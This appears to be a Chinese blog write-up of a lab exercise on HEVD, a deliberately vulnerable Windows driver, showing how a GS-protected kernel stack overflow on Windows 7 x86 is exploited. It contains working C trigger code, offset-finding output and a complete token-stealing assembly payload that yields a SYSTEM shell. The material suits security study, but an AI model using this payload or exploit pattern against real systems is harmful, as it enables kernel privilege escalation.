selph
selph
发布于 2022-05-30 / 374 阅读
0
0

漏洞分析:HEVD-02.StackOverflowGS[win7x86]

前言

窥探Ring0漏洞世界:缓冲区溢出之突破GS保护

实验环境:

  • 虚拟机:Windows 7 x86
  • 物理机:Windows 10 x64
  • 软件:IDA,Windbg,VS2022

漏洞分析

本次实验内容是BufferOverflowStackGS(环境提供的栈溢出一共有两个,一个是普通的,一个是GS保护的)

首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可以看到两个函数:BufferOverflowGSStackIoctlHandlerTriggerBufferOverflowStackGS,跟上一篇一样,前者是分发程序,后者是漏洞程序

从IDA的F5里可以看出,这是一个经典的栈溢出漏洞:使用用户输入的长度进行memcpy调用,和上一例完全一样

int __stdcall TriggerBufferOverflowStackGS(void *UserBuffer, unsigned int Size)
{
  unsigned __int8 KernelBuffer[512]; // [esp+14h] [ebp-21Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+218h] [ebp-18h]

  memset(KernelBuffer, 0, sizeof(KernelBuffer));
  ms_exc.registration.TryLevel = 0;
  ProbeForRead(UserBuffer, 0x200u, 1u);
  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size);
  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x200u);
  _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack (GS)\n");
  memcpy(KernelBuffer, UserBuffer, Size);
  return 0;
}

交叉引用查看调用处:依然跟上次一样

int __stdcall BufferOverflowStackGSIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  int v2; // ecx
  _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx

  v2 = -1073741823;
  Parameters = IrpSp->Parameters.CreatePipe.Parameters;
  if ( Parameters )
    return TriggerBufferOverflowStackGS(Parameters, IrpSp->Parameters.Create.Options);
  return v2;
}

接着往上走,找到控制码,这里调用处前面的标号是$LN6

image.png

查看前面的跳转表:

image.png

可以看到,这里是按顺序排的,这里eax只要等于1即可跳转过来

根据上例可知,eax=0,需要的输入是0x00222003,查看eax是怎么来的:

image.png

是通过这个索引获取的,所以这里eax得是比上次多4,所以这次使用的控制码是:0x222007

漏洞利用

突破GS拿到程序控制权

GS保护机制简介:开启了GS保护,会在函数开始的时候用ebp对随机值进行异或,然后保存,在函数结束的时候进行检查,再次异或查看随机值是否与之前一致,如果一致则通过GS检查,不一致则进入另外的程序流程

常规的绕过GS保护的方式就有利用虚函数或者SEH进行突破,无论是这两个的哪一种,都可以在GS检查之前把程序给劫持走

所以对于突破GS保护,只需要通过生成随机序列,然后看程序会跳转到随机序列的哪里,就可以判断在哪里可以劫持程序执行流程了

使用kali的pattern_create.rb进行生成:

┌──(selph㉿kali)-[~/桌面]
└─$ ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

构建测试程序:

#include <iostream>
#include <Windows.h>

char *shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
int shellcodeLength = strlen(shellcode);

int main()
{
    HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[ERROR]Open Device Error\r\n");
        system("pause");
        exit(1);
    }
    else {
        printf("[INFO]Device Handle: 0x%X\n", hDevice);
    }

    ULONG WriteRet = 0;
    DeviceIoControl(hDevice, 0x222007, (LPVOID)shellcode, shellcodeLength, NULL, 0, &WriteRet, NULL);

    return 0;
}

很快,就看到程序报错了,查看寄存器:

Access violation - code c0000005 (!!! second chance !!!)
73413173 ??              ???
kd> r
eax=00000000 ebx=8842c548 ecx=e017583e edx=00000000 esi=83f15087 edi=8842c4d8
eip=73413173 esp=9745bae0 ebp=41307341 iopl=0         nv up ei ng nz ac pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010296
73413173 ??              ???

eip指向了73413173这个值,通过pattern_offset.rb进行判断该值的位置:

┌──(selph㉿kali)-[~/桌面]
└─$ ./pattern_offset.rb -q 73413173 -l 1000
[*] Exact match at offset 544

偏移在544的位置,修改测试代码再次尝试:

#include <iostream>
#include <Windows.h>

int main()
{

    ULONG UserBufferSize = 544+4;

    HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[ERROR]Open Device Error\r\n");
        system("pause");
        exit(1);
    }
    else {
        printf("[INFO]Device Handle: 0x%X\n", hDevice);
    }

    PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
    if (!UserBuffer) {
        printf("[ERROR]Allocate ERROR");
        system("pause");

        exit(1);
    }
    else {
        printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
        printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
    }

    RtlFillMemory(UserBuffer, UserBufferSize, 0x41);

    PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize)-sizeof(ULONG));
   *(PULONG)MemoryAddress = (ULONG)0x66666666;

    ULONG WriteRet = 0;
    DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
    UserBuffer = NULL;
    return 0;
}

抛出异常:

Access violation - code c0000005 (!!! second chance !!!)
66666666 ??              ???
kd> r
eax=00000000 ebx=865bd1c8 ecx=bf76b3e0 edx=00000000 esi=83eff087 edi=865bd158
eip=66666666 esp=ae790ae0 ebp=41414141 iopl=0         nv up ei ng nz ac pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010296
66666666 ??              ???

成功找到溢出控制点,接下来构造shellcode进行跳转即可

构造shellcode

这次继续分析上次shellcode最后结尾的返回是怎么回事,还是用上次的那个shellcode,在前面加一个0xcc来下断:

示例shellcode:

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        __emit 0cch
        pushad

	;获取当前进程EPROCESS
        xor eax, eax
        mov eax, fs: [eax + KTHREAD_OFFSET] 
        mov eax, [eax + EPROCESS_OFFSET]
        mov ecx, eax

	;搜索system进程EPROCESS
        mov edx, SYSTEM_PID
        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]
        sub eax, FLINK_OFFSET
        cmp[eax + PID_OFFSET], edx
        jne SearchSystemPID

	;token窃取
        mov edx, [eax + TOKEN_OFFSET]
        mov[ecx + TOKEN_OFFSET], edx

	;环境还原+返回
        popad
        xor eax, eax
        add esp, 12
        pop ebp
        ret 8
    }
}

这里功能执行部分没啥问题,也不会对栈进行操作产生影响,内核里执行shellcode执行完一定要能正常返回回去,现在运行到断点查看调用堆栈信息:

kd> k
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 92031ae0 928f70ea     0x1f1043
01 92031afc 83e83593     HEVD!IrpDeviceIoCtlHandler+0x86
02 92031b14 8407799f     nt!IofCallDriver+0x63
03 92031b34 8407ab71     nt!IopSynchronousServiceTail+0x1f8
04 92031bd0 840c13f4     nt!IopXxxControlFile+0x6aa
05 92031c04 83e8a1ea     nt!NtDeviceIoControlFile+0x2a

可以看到,当前执行到shellcode里,上一层返回是HEVD!IrpDeviceIoCtlHandler+0x86,因为我们没有使用1000字节的那个shellcode而是重新构建了刚好大小的shellcode进行覆盖,所以这里不会影响到后面的调用栈信息,所以这里我们只需要返回到上一层就行

返回到上一层需要恢复栈成为刚刚从函数里返回的样子,正常情况下函数返回到这里进行的操作:

PAGE:004452C8                               loc_4452C8:                             ; CODE XREF: BufferOverflowStackGSIoctlHandler(x,x)+13↑j
PAGE:004452C8 8B C1                         mov     eax, ecx
PAGE:004452CA 5D                            pop     ebp
PAGE:004452CB C2 08 00                      retn    8

eax里保存一个返回值,弹出原本的ebp,retn 8

也就是说,这里返回之前的esp里本应该装有原来的ebp才行,所以需要对esp进行修复,把ebp入栈保存的操作是在函数开始的时候做的,查看栈信息:

kd> dds esp
92031ad4  8855a4d0
92031ad8  83f11087 nt!DbgPrintEx
92031adc  8855a540
92031ae0  92031afc
92031ae4  928f70ea HEVD!IrpDeviceIoCtlHandler+0x86 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 283]
92031ae8  8855a4d0
92031aec  8855a540
92031af0  86671350

call指令的作用是入栈返回地址+跳转到函数内,所以这里在进入函数之前esp = 92031ae4,然后进行的操作:

PAGE:004452AA 55                            push    ebp
PAGE:004452AB 8B EC                         mov     ebp, esp

第一件事就是push ebp,所以这里92031ae0地址保存的就是ebp,这里只需要把esp的为止恢复到该位置即可

所以要做的操作就是:add esp, 0xc

获取System权限

提权后执行的操作:

    system("pause");
    system("cmd.exe");

截图演示:

image.png

参考资料


评论